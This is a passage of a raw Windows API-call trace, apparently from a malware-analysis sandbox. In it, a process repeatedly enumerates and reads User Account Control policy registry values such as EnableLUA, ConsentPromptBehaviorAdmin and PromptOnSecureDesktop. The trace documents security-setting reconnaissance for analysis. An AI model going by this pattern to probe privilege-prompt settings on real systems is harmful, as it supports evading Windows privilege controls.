lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0040.694] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1d3c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1d3c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0040.694] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c438) returned 1 [0040.694] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3b860 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b878 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b888 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c438 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b898 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c558 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b930 [0040.694] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c510 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3b940 [0040.695] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b860) returned 1 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b860 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c4c8 [0040.695] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b968 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c480 [0040.695] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b978 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c3f0 [0040.695] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b988 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c3a8 [0040.695] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x30) returned 0x1d3b998 [0040.695] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b940) returned 1 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b940 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c360 [0040.695] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b950 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c318 [0040.695] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b9d0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c2d0 [0040.695] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b9e0 [0040.695] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.696] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b998) returned 1 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b998 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.696] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3b9a8 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.696] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1e8 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.696] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1f8 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.696] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.696] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b878) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c438) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b888) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c558) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b898) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c510) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b930) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c4c8) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b860) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c480) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b968) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c3f0) returned 1 [0040.696] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b978) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c3a8) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b988) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c360) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b940) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c318) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b950) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c2d0) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b9d0) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b9e0) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1f8) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b998) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b9a8) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1e8) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1f8) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.697] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.697] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0040.697] RegQueryValueExA (in: hKey=0x34, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1d3c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1d3c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.697] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.697] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.697] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d5e8 [0040.697] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1f8 [0040.697] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.697] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.697] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d1e8 [0040.697] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c240 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d208 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d218 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c168 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3b860 [0040.698] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d228 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1b0 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d238 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c1f8 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d248 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c2d0 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x30) returned 0x1d3b930 [0040.698] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b860) returned 1 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c318 [0040.698] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0040.698] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c360 [0040.699] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d288 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c3a8 [0040.699] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d298 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c3f0 [0040.699] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c480 [0040.699] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b930) returned 1 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2a8 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c4c8 [0040.699] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2b8 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c510 [0040.699] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2c8 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c558 [0040.699] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d2d8 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c438 [0040.699] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.699] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.699] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.699] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.699] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.699] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.700] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.700] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.700] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c5a0) returned 1 [0040.700] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c5a0 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1f8) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d1e8) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d208) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c168) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d218) returned 1 [0040.700] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c1b0) returned 1 [0040.700] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0040.700] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1d3c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, 